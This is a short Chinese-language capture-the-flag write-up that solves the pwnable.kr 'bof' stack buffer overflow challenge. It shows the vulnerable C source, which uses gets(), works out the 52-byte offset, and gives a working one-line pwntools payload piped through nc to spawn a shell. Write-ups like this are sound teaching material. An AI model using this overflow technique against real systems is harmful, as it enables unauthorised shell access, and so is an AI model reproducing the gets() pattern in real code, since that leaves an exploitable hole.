题目给出了一个可执行文件和一个.c文件
打开.c可以看到源程序:
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah.. "); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
需要让key==0xcafebabe,这里key是子函数的参数,被指定好,需要我们修改才可以成功。
函数调用时栈结构:
函数中有gets函数,可以由我们控制,输出长数据以至覆盖掉key,达到修改key目的。
问题变成需要多长数据?
用ida打开可执行文件,是32位的ida。
a1变量对应参数key,处于bp+0x8
s变量对应变量overflow数组,s处于bp-0x2c
二者之间差0x34,于是我们可以输入0x34的数据,然后到达key的地址,然后填入0xcafebabe
pwntools工具的p32()可以直接将数据0xcafebabe变为合适的数据
构造数据:
52*‘a’ + p32(0xcafebabe)
发送:
python -c "from pwn import *;print 52*'a' + p32(0xcafebabe)" | nc pwnable.kr 9000
然后一直一闪而过,貌似没成功,其实是sh弹出来然后一闪而过
加cat -,是为了防止shell一闪而过,保持与shell的连接。
显示的就是sh,直接输入命令即可